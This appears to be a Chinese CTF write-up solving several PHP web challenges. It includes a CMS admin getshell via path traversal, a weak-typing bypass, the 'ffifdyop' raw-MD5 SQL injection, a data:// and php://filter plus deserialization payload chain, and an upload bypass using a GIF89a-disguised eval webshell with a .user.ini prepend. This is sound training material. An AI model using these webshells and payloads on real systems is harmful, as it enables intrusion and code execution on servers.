进入题目
蝉知cms,百度其漏洞
访问index.php?mode=getconfig 发现版本是7.7
模板存在后台任意文件读取和后台getshell
题目提示,后台五位弱口令
访问/admin.php
admin 12345 登录,登录成功之后发现有其他用户,还有设计高级进行编辑,但写了一句话发现
需要进行验证
看了大师傅的几种方法
1.在设计-组件-素材库里可以上传任意文件,那就上传eumo.txt内容随意
上传之后修改文件名
在文件名存储的时候发生了目录穿越,上传到了要验证的目录
那就再回到编辑模板的目录,先写PHPinfo验证
成功,那就写一句话getshell(访问一句话,总是被火绒拦截)
BackupFile
备份文件一般都有 .git .svn .swp .~ .bak .bash_history
直接dir扫,发现了index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
is_numeric和弱类型相等
key=123
无题
记录下这个有意思的MD5
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
这个sql语句可以产生sql注入,原因是什么呢?
那么首先介绍一下md5这个函数。
参数 | 描述 |
---|---|
string | 必需。要计算的字符串。 |
raw | 可选。 - 默认不写为FALSE。32位16进制的字符串 - TRUE。16位原始二进制格式的字符串 |
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。
上面的"ffifdyop"字符串对应的16位原始二进制的字符串就是“'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c ” 。 ' \ '后面的3个字符连同' \ '算一个字符,比如‘ \xc9 ’,所以上述一共16个。当然,像‘\xc9’这种字符会显示乱码。
然后我们可以用’ffifdyop‘带入,看一下实际的效果。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是‘'’字符。6f就是对应‘ o ’。
然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password =''or'6�]��!r,��b'
为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)
最后再补充一个
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个get参数
起初想的太简单了,现在确实应该好好记录一下啊
第一层绕过,主要针对变量text
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
php://input写不进去
那就用
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
再利用文件包含读取useless.php
file=php://filter/read=convert.base64-encode/resource=useless.php
好久不用都忘了
base64解码得到useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
简单的反序列化
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终构造的paylaod
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看网页源代码拿到了flag
[SUCTF 2019]CheckIn
文件上传题
先上传正常的图片查看路径
经过测试发现是黑名单限制,使用shell.php.zipp(从右向左解析)或者图片马
但是又对文件头进行了检测,过滤了(<?)
使用短标签绕过
<script language="php">eval($_GET['qidian']);</script>
<% xxx %>
<? xxx ?>
给了报错
exif_imagetype:not image!
用来exif_imagetype函数
exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — 判断一个图像的类型
说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
用GIF89a图片头绕过
GIF89a?
<script language="php">eval($_GET['qidian']);</script>
第一种方法失败了,只能上传图片马,但是还需要上传user.ini
图片马上传成功了,因为经过了重命名不能用.htaccess,可以用user.ini
.user.ini的解释
截取要用到的
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
使用方法很简单,直接写在.user.ini中:
构造
GIF89a //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //我们上传的图片马名
.user.ini上传成功
成功了(卡了十几分钟,一直执行不了命令,最初是post传参,写的时候都变成了get)
最后get成功了